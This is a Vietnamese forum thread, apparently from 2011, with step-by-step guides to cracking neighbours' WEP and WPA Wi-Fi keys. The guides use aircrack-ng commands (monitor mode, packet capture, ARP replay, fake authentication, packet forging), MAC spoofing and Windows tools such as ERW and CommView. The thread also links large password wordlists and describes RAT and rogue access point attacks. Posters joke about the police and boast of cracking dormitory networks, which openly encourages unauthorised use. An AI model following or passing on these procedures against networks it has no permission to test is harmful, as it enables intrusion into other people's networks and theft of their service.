[Updated hack tren windows]HACK WIFI (WEP KEY) THÀNH CÔNG 100%(ko chịu trách nhiệm khi police gõ cửa)

Update : 9-12-2011 [Hack WEP key ngay trên Windows]

+ Hôm nay là ngày 9-12-2011 , năm cũ sắp qua và năm mới sắp đến [ngày tận thế 2012]
.Và cũng để chuẩn bị cho Noel , Hôm này Batista sẽ giới thiệu cho anh
em 1 cách hack mới ngay thẳng trên Windows mà ko cần phải dùng lệnh tùm
lum tùm la như BT .
+ Nó mất khoảng 5-6 giờ cho một password yếu hoặc cả ngày hoặc qua ngày hôm sau .

*Điểm mạnh : CLick->click-> And Wait -> then Done .
*Điểm yếu : time hack sẽ hơi lâu hơn BT nhưng đỡ phức tạp hơn nhiều .
[cũng sẽ tùy thuộc vào pass mạnh hay yếu mà time sẽ khác nhau]

**** Và đây là những tools cần thiết cho việc Hack :

1) Commview for wifi

+Bạn sẽ sử dụng công cụ này để chụp các gói tin gửi và nhận thông qua các điểm truy cập bạn sẽ hack.
+Các gói tin càng có nhiều bạn nắm bắt được cơ hội tốt hơn của nứt mật khẩu.
+Bạn sẽ cần nhiều các gói tin minium để crack mật khẩu.
+Các gói tin sẽ được chụp ở định dạng NCP..
+Bạn sẽ sử dụng công cụ này để chuyển đổi các NCP

Chú ý: Một số card WiFi được hỗ trợ bởi Commview chỉ trong Windows 7 vì vậy minh đề nghị bạn cài đặt Win 7

+vao day de xem card co duoc ho tro khong


Code: http://www.tamos.com/download/main/ca.php
Link Download :


Code: http://www.tamos.com/download/main/ca.php +Mình đang dùng card Intel 5100

2) Aircrack-Ng GUI for Windows :

Bạn
sẽ sử dụng công cụ này để crack mật khẩu của điểm truy cập bằng cách sử
dụng các tập tin .Cap bạn thu được từ các ứng dụng Commview.

Chú ý: Bạn cần phải chạy với quyền quản trị.

Link Download :


Code: http://www.aircrack-ng.org/ **** Vì trang quá dài , nên mình sẽ hướng dẫn toàn bộ trong File Word và các bạn download theo link sau :



Code: http://www.mediafire.com/?z05d3y05rxl4f50 +Và đây là thành quả :



+++++
Noel sắp tới và năm mới [2012] sắp đến , chúc anh em mọi sự tốt lành .
Ai hack được Wifi thì ko nên lạm dụng quá . Ai bị hack Wifi thì ko nên
ích kỉ . Nói chung nên sống cộng sinh ,Sinh viên nhà nghèo muốn dùng lâu
dài thì nên mời anh hàng xóm vài li cafe và thổ lộ tâm tình với anh ấy



**** Những vấn đề và comment hack trên Windows sẽ bắt đầu từ trang 220 ****



----------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------------

UPDATED

Xin thưa các anh em , hiện tại có 4 cách hack WPA+WPA2 mà dân hacker dang dùng

List of methods:

1. Dictionary attack (sử dụng Dictionary dể tra pass hay còn gọi là sổ số kiến thiết ,hên xui )

2. Bruteforce attack (cách này thì perfect ,pass cỡ nào tra cũng ra => thời gian tìm ra pass thì lâu vô cùng ,tùy vào dộ dài hay dộ khó của pass)

3. RAT+Wirelesskeyview combo attack (cách này thì tựa
như là cài Keylogger vào máy victim ,mà con RAT này lợi hại hơn KeyLog ở
chỗ là mình có thể điều khiển máy victim => lấy cắp pass rất dễ) .
Cách này mà bị police bắt thì truy ra 2 tội (a.dột nhập máy trái phép /
b.ăn cắp WIFI trái phép )

4. Rogue AP attack (cách này nghe tụi hacker bảo là
khả thi nhất và dễ lấy pass nhất .Nhưng cách này dòi hỏi phải có kiến
thức nhiều về mạng ,vì cách thức hoạt dộng là tạo một AP giả mạo ,sau đó
Victim kết nối vào và nó require password again ,sau khi victim type
vào thì pass sẽ chuyển về cho mình.)


TIN VUI CHO CÁC ANH EM ^^!

Hai
nhà khoa học máy tính đến từ trường đại học Toshihiro Ohigashi và
Masakatu Morii (Nhật Bản) cho biết, họ có thể bẻ khóa hệ thống mã hóa
bảo vệ để truy cập trái phép vào mạng Wi-fi (WPA) trong các bộ định
tuyến không dây, và qua trình này chỉ mất có 1 phút.



Thông
qua cách làm này, kẻ tấn công có thể đọc lưu lượng được mã hóa gửi đi
giữa các máy tính và các bộ định tuyến (router) sử dụng hệ thống mã hóa
WPA (truy cập Wi-Fi được bảo vệ). Hai nhà khoa học dự kiến sẽ thảo luận
chi tiết hơn về cách thức bẻ khóa này tại hội thảo công nghệ diễn ra vào
ngày 25/9 tới tại Hiroshima.

Tháng 11 năm ngoái, các nhà nghiên cứu bảo mật đã trình diễn cách thức
bẻ khóa WPA và phải mất từ 12-15 phút. Khi đó, kỹ thuật bẻ khóa được
thực hiện trên các hệ thống WPA sử dụng thuật toán Temporal Key
Integrity Protocol (TKIP) và không thể áp dụng đối với các thiết bị WPA 2
mới hơn hoặc sử dụng thuật toán mã hóa Advanced Encryption Standard
(AES) cấp cao hơn. Còn lần này, các nhà nghiên cứu Nhật Bản đưa ra cách
bẻ khóa ở mức mới cao hơn, phạm vi rộng hơn và chỉ mất có 60 giây.

Các bộ định tuyến sử dụng hệ thống bảo mật đã gặp nhiều vấn đề bảo mật
trong thời gian qua như hệ thống Wired Equivalent Privacy (WEP) được
giới thiệu năm 1997 và bị bẻ khóa chỉ vài năm sau đó. Do đó, lần bẻ khóa
này của các chuyên gia bảo mật Nhật Bản đã một lần nữa đánh lên hồi
chuông cảnh báo độ bảo mật trên các bộ định tuyến Wi-Fi.

Theo VnMedia (PC World)

"BACKTRACK" CÔNG CỤ HACK WIFI HÀNG ĐẦU THẾ GIỚI

DÙNG CHO MỌI HỆ ĐIỀU HÀNH

bước 1 downnload BACKTRACK 4 beta

KHI DOWN FILE ISO VỀ BURN RA ĐĨA VÀ BOOT --> MÌNH DÙNG LIVE CD

http://www.backtrack-linux.org/downloads/



bước 2 download tài liệu về --> dành cho những bạn thích hiểi rõ về cấu trúc của nó

mediafire




http://www.mediafire.com/?aemim1d883okcrl CÁI NÀY MÌNH LIỆT KÊ RA CHO NHỮNG BẠN LƯỜI ĐỌC MÀ CHỈ THIX HACK LIỀN

LƯU Ý KHI DÙNG BACKTRACT THEO TÀI LIỆU


1.BT 4 beta
2.để tự động boot không chỉnh bất cứ dòng nào
3.login:root
4.pass:toor
5.mở bảng conshole:có 1 ô màu đen bé xíu kế bên startmenu

CÁC BẠN LÀM THEO DÒNG LỆNH SAU
1.iwconfig-->xem tên card mình đang dùng

mình dùng card interface là wlan0 nên---> nên xem tài liêu ở trên để hiễu rõ hơn
2.airmon-ng
3.airmon-ng stop wlan0
4.airmon-ng start wlan0
5.airodump-ng --ivs --write capturefile wlan0
6.airodump-ng --ivs --channel {ap channel} --bssid {ap bssid} --write capturefile wlan0
7.aireplay-ng --arpreplay -b {ap bssid} -h {client MAC from airodump} wlan0
8.aircrack-ng -b {ap bssid}

thế là đã có wep key -->mình khuyên các bạn nên đọc tài liệu trên để hiể hơn (100% thành công)

lượng DATA tối thiểu nên chờ là 40 000 nha các bạn

CHANGE mac NẾU CẦN THIẾT

change mac) thực hiện theo các lệnh sau
-(...) tên interface như WLAN0 chẳng hạn
airmon-ng
airmon-ng stop ...
iconfig ... down
macchanger --mac 00:11:22:33:44:55 ...
airmon-ng start ...

và khi đã monitor , thì bạn tiếp tục thưc hiện các lệnh kế , và bây giờ
bạn ko cần quan tâm station cũa người ta (khi đến lệnh nào mầ phải điền
station thì bạn điền 00:11 ..etc
have fun


bác nào khi chạy iwconfig ko có thông tin card wifi của mình thì nên vào:
những hardware chạy dc trên BT4
những hardware hông hỗ trợ trên BT4


vô đó search theo loại card mà mình sử dụng, ko cần phải đăng kí để search

ĐÂY LÀ ĐOẠN CLIP MANG TÍNH THAM KHẢO VÀ CÓ THỂ KHÁC TÀI LIỆU (ko đáng kể ^^!)

[V-Z][/QUOTE]


+nê1u ai ko hiểu bước nào cứ nhắn vào ,mình sẽ chỉ đến khi lấy được key thôi , (và mình sẽ ko chịu trách nhiệm khi các bạn được police mời đi uống trà đá )

1 VÀI DICTIONARY CHO NHỮNG AI HACK WPA & WPA2



Code: http://websecurity.ro/downloads/dictionary.tar.gz 18M



Code: http://upload.gibbocool.com/files/28GBwordlist.rar 74MB



Code: http://rapidshare.com/files/98295454/huge_wordlist.rar 78MB

lưu ý : các dictionary ở trên khi extract ra sẽ có dung lượng vài chục GB ,nên hãy xem xét trườc khi down

còn
đây là trang web chứa dictonary ,ai thĩ thì vào tìm hiểu,có luôn các
tool để làm wordlist. Nhưng tạo wordlist thường thường tử 3-8 ký tự
alphanumeric không cũng đã vài GB rồi



Code: http://packetstormsecurity.org/Crackers/wordlists/utilities Dictionary from thanhbien_84





thanhbien_84
Mình xin đóng góp link download từ điển để dò password wifi mà mình sưu tầm được, trong đó có cả từ điển Việt Nam và nước ngoài:

ten + nam sinh (vietnam)
http://www.mediafire.com/?sharekey=2...e4838675aadd09
http://megashare.vn/dl.php/1224268
http://megashare.vn/dl.php/1223583
password list 09xxxxxxxxx (http://www.megaupload.com/?d=PX3L71PR)
Password list ngay thang nam sinh (http://www.megaupload.com/?d=ELJA3W8S)




link download DICTIONARY:
28GB wordlist (http://upload.gibbocool.com/files/28GBwordlist.rar)
huge_wordlist (http://rapidshare.com/files/98295454/huge_wordlist.rar)




link tong hop nuoc ngoai:
http://www.mediafire.com/?59dr1v7h7q4k4


chi tiet tung phan:

Collection of Wordlist v.2
http://www.mediafire.com/download.php?e5v4q79yf7d5r3a
http://www.mediafire.com/download.php?o8ri742gair8g6d
http://www.mediafire.com/download.php?7w695b1k1b1b903



HuegelCDC:
http://www.mediafire.com/?blvzrvqlrvrm0ny


Naxxatoe-Dict-Total-New:
http://www.mediafire.com/download.php?kvntczux7i5bo2c
http://www.mediafire.com/download.php?3czep4kxmso1kd7
http://www.mediafire.com/download.php?twdlv7tf9f0xbdg
http://www.mediafire.com/download.php?cct41buudrcy0ss
http://www.mediafire.com/download.php?6oakueb1vhg414x
http://www.mediafire.com/download.php?8v3f64p6pd349ix


Purehates Word list:
http://www.mediafire.com/download.php?98u8d4qe803erm8
http://www.mediafire.com/download.php?dvi0bjbhxkn05hl


theargonlistver1:
http://www.mediafire.com/download.php?mwu8ivr0nqn5eeq



theargonlistver2:
http://www.mediafire.com/download.php?ixcih9rgrczrpmj





theargonlistver2-v2 (word.lst.s.u.john.s.u.200)
http://www.mediafire.com/download.php?yj31a3ic2zohai3
http://www.mediafire.com/download.php?x9ejmh9yp71dh8r



WordList Collection
http://www.mediafire.com/download.php?mbu3mdl2mzi227h
http://www.mediafire.com/download.php?z3jjaq3pe384yvl
http://www.mediafire.com/download.php?wt7qqt57d4rp0kv
http://www.mediafire.com/download.php?8zglksb3k7b7746
http://www.mediafire.com/download.php?9yjzcprc76ats4g
http://www.mediafire.com/download.php?pxm1a3muicyrkyr
http://www.mediafire.com/download.php?98p2jdlph15a8b9


wordlist-final
http://www.mediafire.com/download.php?nb4j6b4p2c2f5kv



wordlists-sorted
http://www.mediafire.com/download.php?6356dax1xi6c2ct



wpalist
http://www.mediafire.com/download.php?qic5uqz8bgqcakb



WPA-PSK WORDLIST (40 MB)
http://www.mediafire.com/download.php?ko3k5waryr254gq



WPA-PSK WORDLIST 2 (107 MB)
http://www.mediafire.com/download.php?ccdqo2s6ar75320



WPA-PSK WORDLIST 3 Final (13 GB)
http://www.mediafire.com/download.php?beyf2gbs07wl6zn
http://www.mediafire.com/download.php?scc21q07rdaamzd
http://www.mediafire.com/download.php?urcrd1lk1bjts1e
http://www.mediafire.com/download.php?k74hl5ud35ytzzv
http://www.mediafire.com/download.php?yras8iih4739hlt
http://www.mediafire.com/download.php?e8ycntc5qnsxbnn
http://www.mediafire.com/download.php?i7apnn6rgpal937



-=Xploitz=- Vol 1 - PASSWORD DVD
http://www.mediafire.com/download.php?pjs2s64pj0uw66f


-=Xploitz=- Vol 2 - Master Password Collection
http://www.mediafire.com/download.php?n3ofy96p5lbkvr3



17-in-1
http://www.mediafire.com/?k3j1ngab1bg3m


18-in-1
http://www.mediafire.com/?t150bv7govzsr



18-in-1 [WPA Edition]
http://www.mediafire.com/?lpkepzdz3mmg0
http://www.mediafire.com/download.php?kprt87awrzv4u78



day nua:
http://www.hotfilesearch.com/downloa...dlist.rar.html
* OpenWall:
o http://ftp.sunet.se/pub/security/too...all/wordlists/
o ftp://ftp.openwall.com/pub/wordlists/
o http://www.openwall.com/mirrors/
* http://passwordz.info/ (broken link. Does anyone have it hosted elsewhere?)
* ftp://ftp.ox.ac.uk/pub/wordlists/
* http://gdataonline.com/downloads/GDict/
* http://theargon.com/achilles/wordlists/
* http://theargon.com/achilles/wordlists/theargonlists/
* ftp://ftp.cerias.purdue.edu/pub/dict/
* http://www.outpost9.com/files/WordLists.html
* http://www.securinfos.info/wordlists_dictionnaires.php
* http://www.vulnerabilityassessment.co.uk/passwords.htm
* http://packetstormsecurity.org/Crackers/wordlists/
* http://www.ai.uga.edu/ftplib/natural-language/moby/
* http://www.insidepro.com/eng/download.shtml
* http://www.word-list.com/
* http://www.cotse.com/tools/wordlists1.htm
* http://www.cotse.com/tools/wordlists2.htm
* http://www.phreak.org/index/archive0...wordlsts.shtml
* http://www.indianz.ch/tools/doc/wordlists.zip

* http://wordlist.sourceforge.net/
* http://prdownloads.sourceforge.net/w...ar.gz?download
* http://hacor.org/docs/hugelist.txt (broken link. Does anyone have it hosted elsewhere?)
* By operat0r
o http://rapidshare.com/files/16551346...200.part01.rar
o http://rapidshare.com/files/16551814...200.part02.rar
o http://rapidshare.com/files/16549851...200.part03.rar
* http://wiki.services.openoffice.org/wiki/Dictionaries
* http://article7.org/wordlists/



link dung luong nho:
http://www.skullsecurity.org/wiki/index.php/Passwords



thanhbien_84
Có
rất nhiều bạn hỏi mình về từ điển cũng như cách hack, quả thật nếu
trình bày thì rất dài dòng. Hôm nay mình tiếp tục upload cho các bạn một
số video về hack wifi hướng dẫn cơ bản về sử dụng phần mềm VMWARE và
hack bằng tiếng việt, mình đã theo đó và làm thành công
link download của bạn đây:
http://www.mediafire.com/?7448pb06yhq623y
http://www.mediafire.com/?utr6pgot9sjq5n5
http://www.mediafire.com/?4m0i8lnc60il41r

hoac link nay:
http://up.4share.vn/f/72434b4a4346404b/YouTube - Crack Wifi Key WPA2 With BackTrack 4 Final.flv
http://up.4share.vn/f/42737b7a7376767a/YouTube - Run Backtrack 4 Beta in Windows with VmWare Workstation.flv
http://up.4share.vn/f/65545c5d54515251/YouTube - Run Backtrack 4 Beta in Windows with VmWare Workstation_2.flv
http://up.4share.vn/f/42737b7a7374737a/hack wifi khoa boi WPA tieng viet.avi
NOTE---WPA,WPA2

Hi,

Tôi hay lang thang thấy các diễn đàn có nhiều người hỏi về crack
passwork wirless để xài chùa, và có rất nhiều bài hướng dẫn làm điều đó,
chủ yếu dùng aircrack trên *nix và Abel & Cain trên Windows hoặc
BACKTRACK. Bản thân thôi chỉ mới thử dùng aircrack trên Ubuntu để thử dò
cái pass của nhà bên cạnh và lên cơ quan dò thử (cả 2 đều dùng WPA).
Kết quả đều là con số 0. Sau đó tôi nhận ra rằng để dò được pass thì
trong dictionary phải có cái pass đó thì mới có cơ may. Mà ở VN thường
có kiểu đặt pass theo kiểu nói trại đi, biến từ biến ngữ, ví dụ như là :

- kute, cut3, kut3 (cute)
- 9girls, nic3girls (nice girls)
- d0g (dog)
- ...

Với kiểu nói và viết như vậy và khi đặt pass cũng đặt như vậy thì tôi
dám khẳng định việc crack pass WPA là không thể. Tôi đã từng thử với bộ
từ điển search được trên mạng có size là 10 Mb (file text mà 10 Mb thì
thử hình dung nó chứa bao nhiêu từ ) mà cũng không dò được pass. Bên
cạnh đó với kiểu đặt theo strong password có chữ số, ký tự đặc biệt, vd :

- emkut3@^_^
- |-|3L0 |-|@c|<3r (Hello hacker)
- ..

Thì tôi dám chắc chắn việc crack password WPA là chuyện viễn vông nếu
mong muốn ra ngay kết quả ! Hoặc phải có 1 nhóm tập trung các passwork
"made in VN" thì mới đáp ứng được.

Vậy các bạn vui lòng cho biết, trong các bạn ai đã từng crack được pass wireless WPA và pass là gì ?

Hy vọng bài viết này sẽ dập tắt được mơ tưởng về việc crack pass
wireless WPA của đa số người khi xem các bài tut, các video demo việc
crack thấy ngon lành lắm, nhưng không để ý là đã số pass trong các bài
tut đó đều rất đơn giản như là 123456, 123456789...

Thân

---------------------------------------------------------------------------------------------

NHỮNG BÀI ĐƯỢC LƯU Ý





nggianglx
mình
có 1 tử điển được tích hợp các cách đặt password của người việt...
nhưng dung lượng của nó thì khiếm đảm.... 25GB.... chẳng biết chép vào
đâu cho vừa, làm sao up lên cho anh em cùng thử. Từ điển này là do 1
giáo viên ở trung tâm an ninh mạng Athena viết trước khi ông ấy sang USA
làm việc và định cư. Đây có lẽ là tài liệu duy nhất và độc nhất ở VN

Mình thấy BT rất tốt đấy bạn àh. nó là bộ công cụ dùng để Pentest hệ
thống tốt nhất hiện nay đó. Nó tích hợp rất nhiều công cụ để bạn kiểm
tra mức độ an ninh của hệ thống mạng của bạn. Mình có bộ tài liệu nghiên
cứu nó, bạn có thể tham khảo trang web

http://www.offensive-security.com

Bí kiếp Offensive Security 101

Part 1: http://www.mediafire.com/?mmggbbdm9me
Part 2: http://www.mediafire.com/?ded2ds5pjdm
Part 3: http://www.mediafire.com/?25bmesrdmyz
part 4: http://www.mediafire.com/?jtx1ubcll9m

Pass Unrar: www.itlab.com.vn

Mình cũng tìm được từ Itlab thôi






namquang1233
mình
có ct đơn giản hơn nhiều chạy trên windows cả xp lẩn vista chỉ có cái
nó tiếng đức nếu muốn sử dụng phải mài mò 1 chút với nó kén card wifi
đây là list card nó support
Supported Adapters
802.11bgn and 802.11abgn Adapters

Atheros Wireless Network Adapter (AR5008)
D-Link DWA-542 RangeBooster N Desktop Adapter
D-Link DWA-547 RangeBooster N Desktop Adapter
D-Link DWA-552 Xtreme N Desktop Adapter
D-Link DWA-556 Xtreme N PCI Express Desktop Adapter
D-Link DWA-642 RangeBooster N Notebook Adapter
D-Link DWA-643 Xtreme N Notebook ExpressCard Adapter
D-Link DWA-645 RangeBooster N 650 Notebook Adapter
D-Link DWA-652 Xtreme N Notebook Adapter
Gigabyte GN-WI03N (mini) PCI WLAN Card
Gigabyte GN-WI06N (mini) PCI Express WLAN Card
Gigabyte GN-WM02N Express WLAN Card
Gigabyte GN-WP02N PCI Express WLAN Card
NEC AtermWL300NC (PA-WL300NC) Wireless Network Adapter
TP-Link TL-WN910N Wireless N Cardbus Adapter
CACE Technologies AirPcap Nx USB Adapter

802.11bg and 802.11abg Adapters

3Com OfficeConnect Wireless abg PC Card (3CRWE154A72)
Atheros Wireless Network Adapter (AR5001 through AR5007)
Cisco Aironet 802.11abg Wireless Cardbus Adapter
D-Link WNA-2330 RangeBooster G Notebook Adapter
D-Link AirPremier DWL-G680 Wireless Cardbus Adapter
D-Link AirPremier DWL-AG660 Wireless Cardbus Adapter
D-Link AirPremier DWL-AG530 Wireless PCI Adapter
D-Link AirXpert DWL-AG650 Wireless Cardbus Adapter
D-Link AirXpert DWL-AG520 Wireless PCI Adapter
D-Link AirPlus G DWL-G630 Wireless Cardbus Adapter (Rev. C, Rev. D)
D-Link AirPlus Xtreme G DWL-G520 Adapter
D-Link AirPlus Xtreme G DWL-G650 Adapter
Gigabyte GN-WI01GT (mini) PCI-E WLAN Card
Gigabyte GN-WI01HT (mini) PCI WLAN Card
Gigabyte GN-WI07HT (mini) PCI-E WLAN Card
Gigabyte GN-WIAGGN-WPEAG (mini) PCI WLAN Card
Gigabyte GN-WIAH (mini) PCI WLAN Card
Gigabyte GN-WLMA102 Cardbus WLAN Card
Gigabyte GN-WM01GT Cardbus WLAN Card
Gigabyte GN-WMAG Cardbus WLAN Card
Gigabyte GN-WP01GT (mini) PCI WLAN Card
Intel PROWireless 2200BG Mini PCI Adapter
Intel PROWireless 2915ABG Mini PCI Adapter
LinkSys WPC55AG Dual-Band Wireless A+G Notebook Adapter
NETGEAR WAG511 802.11abg Dual Band Wireless PC Card
NETGEAR WG511T 108 Mbps Wireless PC Card
NETGEAR WG511U 54AG+ Wireless PC Card
NETGEAR WG511U Double 108 Mbps Wireless PC Card
NETGEAR WPN311 RangeMax Wireless PCI Adapter
NETGEAR WPN511 RangeMax Wireless PC Card
Proxim ORiNOCO 802.11ag ComboCard Gold 8480
Proxim ORiNOCO 802.11ag ComboCard Silver 8481
Proxim ORiNOCO 802.11ag PCI Adapter 8482
Proxim ORiNOCO 802.11bg ComboCard Gold 8470
Proxim ORiNOCO 802.11bg ComboCard Silver 8471
SMC 2336W-AG v2 Universal Wireless Cardbus Adapter
TRENDnet TEW-501PC 108Mbps 802.11ag Wireless CardBus PC Card
Ubiquiti Networks SRC Wireless Network Adapter
CACE Technologies AirPcap Ex USB Adapter
link :
http://www.mediafire.com/?sharekey=5...db6fb9a8902bda
các bạn tải file driver về cài driver card wireless+erw 2.4_3
nhớ cài driver bằng cách chọn cài ép ko cho win auto search
mình đã crack thành công wep key khoảng 30p,wpa2 key thì khi lấy key
khoảng 5p nhưng dò td mất cả tuần,mà hên pass nó đặt toàn số ko nên mới
dò ra,trên đó có cả ct tạo td+1 số td làm sẳn



nggianglx
mình
cũng đã có nghe qua cách hack WPA dùng thuật toán TKIP. Các bạn có thể
tham khảo ở đường link bên dưới. Chịu khó đọc tiếng anh nha, rất hay.

http://www.aircrack-ng.org/doku.php?id=tkiptun-ng



nggianglx
Đây
là một công cụ Hack Wireless phiên bản ERW 2.7. Bạn namquang1233 đã đề
cập, mình cung cấp cho các bạn phiển bản mới nhất hiện nay do Spain phát
triển.

Chú ý: khi sử dụng nên xem CPU (mình đã test thử tốn tài nguyên lắm, nhất là CPU)

Mọi người cùng tham khảo nha
http://www.mediafire.com/?sharekey=9...f0d5667eceaea4



namquang1233
Bạn
vào đây tải file passview+dic về trong đó có sẵn vài dic mình sưu tầm
được và pm tạo dic,bạn do key wpa nên xài AIRCRACK-NG-1.0-RC2 trở
lên,tốc độ tăng hơn nhiều,cpu amd x2 tăng gấp đôi,cpu core 2 tăng gấp 4
lần so với bản rc1.
http://www.mediafire.com/?sharekey=5...db6fb9a8902bda hack wpa from namquang ^^! (try it)





namquang1233
Vậy mình hướng dẩn cách crack trên winxp bằng erw 2.7
đầu tiên các bạn down driver,erw 2.7.1,aircrack-ng-1.0-rc3-win giải nén ra hết
bước 1:cài driver cho card wireless
vào device manager/network adater/tên card wireless trên máy,update
driver chọn hàng dưới cho tới khi có nút have disk bấm vào chọn đến
folder driver vừa giải nén,nếu card thích hợp thì chỉ có 1 hoặc 2 tên
hiện ra nếu ko thì nó sẽ hiện hết toàn bộ card trong driver đó,khi đó
bạn thử từng cái xem cái nào chạy được,nếu driver cài được thì trước tên
card phải có chữ commview,khi cài driver xong thì card wireless vẫn
hoạt động bình thường như driver gốc.
bước 2:chạy ct erw
a.bấm monitor (nếu driver cài đúng thì nó sẽ tự động thu xuống thanh taskbar nếu ko thì nó sẽ thoát ra)
b.bấm auto-scan,nó sẽ hiện những mạng xung quanh,double-click vào tên
mạng muốn hack.Nếu cpu yếu,ko có máy station nếu WPA hoặc sóng yếu thì
nó sẽ khó hiện lên,bạn cho auto-scan vài lần,nếu ko hiện thì bạn phải
đánh bằng tay những thông số bên trái :
kế nút del,file,ssid ap thì đánh tên ssid (tên trong ct scan của win)
chchannel của mạng cần hack)
mac ap:MAC của ap cần hack
mac sta:MAC của client(cần khi hack WPA còn WEP thì khỏi)
mac falsa:MAC của card mạng đang monitor(nếu ko biết bạn chạy ct mac
address changer trong folder erw(nếu AP bị khóa MAC thì dùng ct này để
đổi MAC)
encriptacion:khóa mà ap đang xử dụng(WEP,WPA,WPA2)
c.1 hack WEP: bấm MODO AUTOMATICO rồi chờ data tăng lên.
2 hack WPA:bấm CAPTURA DE PAQUETES
chờ khi có máy client thì đánh MAC vào MAC STA nếu ko thì tắt thử lúc khác(bắt buộc phải có máy client mới có thể làm được)
khi có máy client thì xem data nếu nó lên liên tục thì bấm A0-AP/STA
(tốt nhất là chờ nó close hết các cửa sổ mới hiện lên khoảng 30s bấm lại
lần nữa làm 3 lần)xem cửa sổ CAPTURA DE PAQUETES hàng trên hết hiện lên
WPA handshake: MAC AP là xong.Nếu máy client xài Win vista thì khi bấm
A0-AP/STA data sẽ đứng ngay khi đó thoát hết cửa sổ CAPTURA DE PAQUETES
rồi bấm lại xem nó có mất máy client,nếu mất thì bạn để nguyên chờ đến
khi máy client hiện lên lại là có WPA handshake (nếu sóng đủ mạnh)mình
đã thử máy nhà khi xài Win vista sp2 (sp1 trở về trước chưa thử)khi bấm
A0-AP/STA là card wireless bị treo ko thấy bất cứ mạng nào phải restart
máy mới trở lại bình thường winxp thì ko bị.
bước 3:dò key
mở ct aircrack-ng gui trong folder aircrack-ng-1.0-rc3-win\bin
phần filename nhấn choose chọn file đã lưu bằng ct erw (thường tên file
có kèm theo số phía sau vì mỗi lần bạn bấm CAPTURA DE PAQUETE hoặc MODO
AUTOMATICO thì nó sẽ tạo 1 file mới nên tốt nhất trước khi bấm nên xóa
hết những file trước đó để khỏi bị rối,flie có đuôi .cap)
dò key wep thì để nguyên bấm lauch
dò key wpa thì chọn wpa phần wordlist thì chọn file có tự điển xong bấm lauch
trong file passview+dic có sẵn ct passwordspro dùng để tạo td hoặc
password,mở ct lên bấm F8 tạo td chọn tạo số hoặc kí tự độ dài chọn xong
bấm F5 để ct tự tạo td(nhớ xem dung lượng trước khi bấm F5 và phải ít
nhất là 8 kí tự trở lên vì pass WPA thấp nhất là 8 kí tự) và một số td
có những pass thông dụng tiếng anh bạn có dùng những td đó trước nếu ko
có thì mới tạo td bắng passwordpro,mình cũng dò được key trong đám td
đó.
khi dò pass bằng td nó nên để ý nhiệt độ cpu nếu nó nóng quá nên tìm
cánh khắc phục trước khi dò bởi nếu dò nửa chừng máy bị treo thì phải
làm lại từ đầu.



hoasimtim.hm
He
he..tui da Hack thanh cong 100% rui ne...dung BT4 beta nhu bai viet
huong dan..hack dc 2 thang wep key...tui thay cung phai tim hieu ki cang
va it nhat ban pai co mot it von ve IT....tui HD lai cac lam cua tui
nghen...co ai chua lam dc thi cu lam theo nhe...
1, download ban BT4 beta ve ghi ra dia....
2, ban download them chuong trinh Network Stumbler hoặc Cain ve de do
MAC va kenh cua wifi can crack(Vi khi vao BT4 toi go lenh aimo-ng wlan0
thi ko chay dc->ko do dc MAC va Kenh)
3,ban khoi dong lai may....cho dia BT4 beta vao va an F12...bam Enter thi phai......
cho cho no chay xong ... go lenh startx vao
luc nay no se hien len cua so chinh cua BT4 co giao dien nhu ban xem
video huong dan luon...cung kha giong giao dien cua win do....
4, ban go lenh airmon-ng roi bam enter
de bit dc cac wifi minh duong...thuong la wlan0 ,neu ban dung 1 cac wifi
5, ban go tiep lenh airodump-ng -w wep -c (kenh) --bssid (Mac) wlan0 bam enter
Vidu: airodump-ng -w wep -c 11 --bssid 00:1a:2b:2b:45:10 wlan0
luc nay cac thong so bat dau chay nhung co the con cham...nhat la data co the tang rat cham
6, Ban go tiep lenh aireplay-ng -10 -a (Mac) wlan0
vi du: aireplay-ng -10 -a 00:1a:2b:2b:45:10 wlan0
7, ban go tiep lenh aireplay-ng -3 -b (mac) wlan0
luc naycac goi packets bat dau gui di...luong data bat dau tang
nhanh....nhung cung co the ban phai cho khoang 10 den 15 phut thi khi do
data tang moi nhanh..toi da phai thu di thu lai rat nhieu lan
8.Ban cho cho luong data len khoang tren 30 000 hoac 40 000 hoac lon hon
(luc nay data co the dat den con so nay thi no phai chay cung nhanh
roi...chu ko tang cham nhu luc dau nua)
Tiep theo ban go lenh dir thi no se hien ra ten five ma minh da luu cac
du lieu gui va nhan packets co dang wep-01.cap hoac wep-02.cap....
9 ban go tiep lenh aircrack-ng -wep-01.cap (tuy theo ten thu duoc ma lenh tren ban go)
luc nay la ket qua.. key fond se hien ra...va do la pass ma minh can tim....

Chu y: 1. ban phai go dung lenh tung khoang trong, dau cach"-" ,neu
ko thi no se ko chay ....luc dau toi cung da go sai nhieu lan....
2. Toi dung lap top HP...cac mang wifi cua toi la loai
boocam thi phai....va cung da dung usb Wifi dlink534 cung co ho tro de
crack...ngoai ra toi da thu dung voi 2may khac la loai asus cua 2 thang
ban thi nhu hinh ko ho tro thi phai...go lenh vao ma no ko chay cac
thong so....

Tren la mot so buoc toi da lam va da thanh cong...pha duoc 3 cai pass
roi...Toi o kitucxa..pha dc mot cai pas ma chua qua 3 ngay ca kituc deu
bit...pass...nguoi ta ma tra ra thi het duong chay toi...
co the thay rang nhu cau dung wifi chua rat lon...hihi:d




daigiagroup
giờ thì crack có nghề rồi!!!
chia sẻ với các bạn 1 chút: nếu ta dùng kĩ thuật aireplay-ng để bắt các
gói tin => chỉ thực hiện tốt khi tín hiệu cao và có client trong
mạng.. còn trường hợp không có client hoặc tín hiệu thấp, #/s thấp lè tè
thì sao???

lúc này ta phải áp dụng 1 kĩ thuật gọi là fake authentication...

láy ví dụ như thế này:
tôi có 1 cái router mac 00:27:22:A0:8B:38 channel 11, card của tôi là mac 00:17:c4:bb:f6:a9.
các bạn cứ airmon và airodump vào channel 11 như bình thường, sau đó

-bạn fake authentication aireplay-ng -1 10 -a 00:27:22:A0:8B:38 mon0
-lọc các gói tin đã capture được aireplay-ng -5 -b 00:27:22:A0:8B:38 mon0
phải làm ffi làm lại khoảng chục lần
bạn sẽ được 1 file "*.xor" trong thư mục home/root
-chế biến ra các gói tin phân tích đc từ gói tin đã làm ở trênpacketforge-ng -0 -a 00:27:22:A0:8B:38 -h 00:17:c4:bb:f6:a9 -k 255.255.255.255 -l 255.255.255.255 -y "tên file.xor" -w ap-die
-lại dùng aireplay-ng để gửi các gói đã chế biến trên tới AP aireplay-ng -2 -r ap-die mon0
-bây giờ vào lại airodump-ng để kiểm tra (đừng nói với tôi là bạn tắt nó
